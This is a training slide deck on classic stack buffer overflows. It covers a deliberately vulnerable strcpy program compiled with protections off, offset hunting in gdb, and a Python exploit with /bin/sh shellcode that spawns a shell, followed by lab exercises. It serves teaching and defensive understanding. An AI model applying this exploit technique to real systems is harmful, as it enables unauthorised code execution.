03 - Refresher on buffer overflow in the old days

Thank you Aleph One!
Refresher on buffer overflow in the old days
Alex Moneger
Security Engineer

Buffer overflow refresher
 First paper by Aleph One in 1996 in Phrack #49:
http://www.phrack.org/issues.html?issue=49&id=14
 No OS level protections at the time
 Works by writing past the buffer end aka stuff more data into a buffer
then it can hold
 Goal is to overwrite something interesting control structure with our
attacker data. Can de saved EIP, but can be any function pointer
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2

Stack refresher (again ;))
 Stack holds local variables, the address of the
previous frame, the address of where to return
to
 Goal is to overwrite Saved EIP (referred to as
SEIP)
 If we control SEIP, we control where “ret”
instruction will go, meaning we control EIP
SEIP
SEBP
Local function storage

The “classic”
cisco@kali:~/src/seccon/ch3$ pygmentize -g ch3.c
#include <string.h>
int vuln(char *stuff) {
char buf[0x64] = {0};
strcpy(buf, stuff);
return 1;
}
int main(int argc, char **argv) {
vuln(argv[1]);
return 0;
}
 “Buf” has no boundary checking. “stuff” is
attacker controlled
SEIP
SEBP
Buf

Making it exploitable
 Previous program compiled with following options:
cisco@kali:~/src/seccon/ch3$ sudo sysctl -a | grep randomize
kernel.randomize_va_space = 0
cisco@kali:~/src/seccon/ch3$ cc ch3.c -fno-stack-protector -z execstack -U_FORTIFY_SOURCE –g -o ch3
 See how many security features we are disabling?
 Pretend we don’t have sources, find the size of the local stack storage
in function prologue
cisco@kali:~/src/seccon/ch3$ objdump -d -j .text -M intel ch3 | grep -i 'vuln>:' -A 10 | grep --color
esp
804841d: 89 e5 mov ebp,esp
8048421: 83 c4 80 add esp,0xffffff80
cisco@kali:~/src/seccon/ch3$ python -c 'import exutil as e; print e.cmp2(0xffffff80)'
-128

Recon
 Local storage for func is 128 bytes. Nothing says
that our vulnerable buf starts at the beginning of
that
 Let’s figure out how much we need to overwrite to
control EIP
 Max overwrite size = ebp – esp + SEBP + SEIP =
128 + 4 + 4 = 136
SEIP
SEBP
????
Buf
????
1
2
8

Finding the offsets manually
cisco@kali:~/src/seccon/ch3$ python -c 'print "A =>", hex(ord("A")), "B =>", hex(ord("B"))'
A => 0x41 B => 0x42
cisco@kali:~/src/seccon/ch3$ (invoke ch3 $(python -c 'print "A"*132+"B"*4')) || dmesg | tail -n 1
Segmentation fault
[613635.624345] ch3[18312]: segfault at 41414141 ip 41414141 sp bffffcf0 error 14
Segmentation fault
Segmentation fault
cisco@kali:~/src/seccon/ch3$ # Continue decrementing by 4
Segmentation fault
[613678.429167] ch3[18331]: segfault at 42424242 ip 42424242 sp bffffd00 error 14
 Doing this properly => Use msf pattern_create.rb & pattern_offset.rb

We’re going to overflow!!!
1. Choose a shellcode
2. Compute it’s length: ie: 40 bytes
3. Add the proper padding to overwrite SEIP: 112 - 40 = 72
4. Find the address of our shellcode
5. Append to the buffer to redirect flow
Shellcode Junk
SC
Add
ress

Finding buffer address
cisco@kali:~/src/seccon/ch3$ env -i gdb --quiet --args ./ch3 $(python -c 'print "A"*112+"BCDE"')
Reading symbols from /home/cisco/src/seccon/ch3/ch3...done.
gdb$ gdb$ !objdump -d -j .text -M intel ch3 | grep -i 'vuln>:' -A 22 | tail -n 5
804844e: 83 ec 80 sub esp,0xffffff80
8048451: 5b pop ebx
8048452: 5f pop edi
8048453: 5d pop ebp
8048454: c3 ret
gdb$ gdb$ break *0x804844e
Breakpoint 1 at 0x804844e: file ch3.c, line 9.
gdb$ r
gdb$ x/16w $esp
0xbffffc70: 0xbffffc8c 0xbffffec9 0xb7ffeff4 0xbffffd70
0xbffffc80: 0xb7fffac0 0xbffffd44 0xb7feb662 0x41414141
0xbffffc90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffca0: 0x41414141 0x41414141 0x41414141 0x41414141
gdb$ x/x 0xbffffc8c
0xbffffc8c: 0x41414141
gdb$ x/s 0xbffffc8c
0xbffffc8c: 'A' <repeats 112 times>, "BBBB"
gdb$ x/2w $ebp
0xbffffcf8: 0x41414141 0x42424242
gdb$ si 5
--------------------------------------------------------------------------[regs]
EAX: 00000001 EBX: 41414141 ECX: 00000000 EDX: 00000075 o d I t S z a P C
ESI: 00000000 EDI: 41414141 EBP: 41414141 ESP: BFFFFD00 EIP: 42424242
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x42424242
0x42424242 in ?? ()

Summary
 We have the overflow length: 116 bytes (112 bytes + 4 bytes SEIP
overwrite)
 We have the buffer’s address (0xbffffc8c)
 We have a shellcode (I’m a nice guy)
 Stuff all of it together

Shell time
cisco@kali:~/src/seccon/ch3$ pygmentize ch3.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import struct
target = "ch3"
overflow_len = 112
ret_addr = 0xbffffc8c
target_path = os.path.abspath(target)
# setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0)
sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46"
"x58xcdx80xb0x0bx52x68x6ex2fx73x68x68"
"x2fx2fx62x69x89xe3x89xd1xcdx80")
nop_sled = overflow_len - len(sc)
sc_addr = struct.pack("<I", ret_addr)
ex = "%s%s%s" % (sc, 'A'*nop_sled, sc_addr)
os.execve(target_path, (target_path, ex), os.environ)

Result
cisco@kali:~/src/seccon/ch3$ invoke ch3.py
$ id
uid=1000(cisco) gid=1001(cisco) groups=1001(cisco)
$ exit
cisco@kali:~/src/seccon/ch3$

Variations
 Small buffers (shellcode doesn’t fit): append shellcode after ret address
SC
Add
ress
Junk Shellcode
 Unpredictable buffer address (stack size is not under control): append
NOP sled in front of shellcode:
NOP sled Shellcode
SC
Add
ress
 Use an environment variable to host your shellcode

Limitations
 Shellcode on executed on the stack, so stack needs to be executable
 Buffer address is known, so addresses can’t be randomized
 Stack frame is not protected (more on this later)
 There are no null bytes in our buffer address (This can fixed easily)

Now get to work
 Compile and exploit ch3
 Try any different exploitation technique described previously
 Don’t use the “invoke” script when trying to exploit. What is happening
to the stack? Why is your exploit failing?
 Enable one memory protection (whichever). Check the effect on the
exploit

03 - Refresher on buffer overflow in the old days

03 - Refresher on buffer overflow in the old days

More Related Content

What's hot

Viewers also liked

Similar to 03 - Refresher on buffer overflow in the old days

Recently uploaded

03 - Refresher on buffer overflow in the old days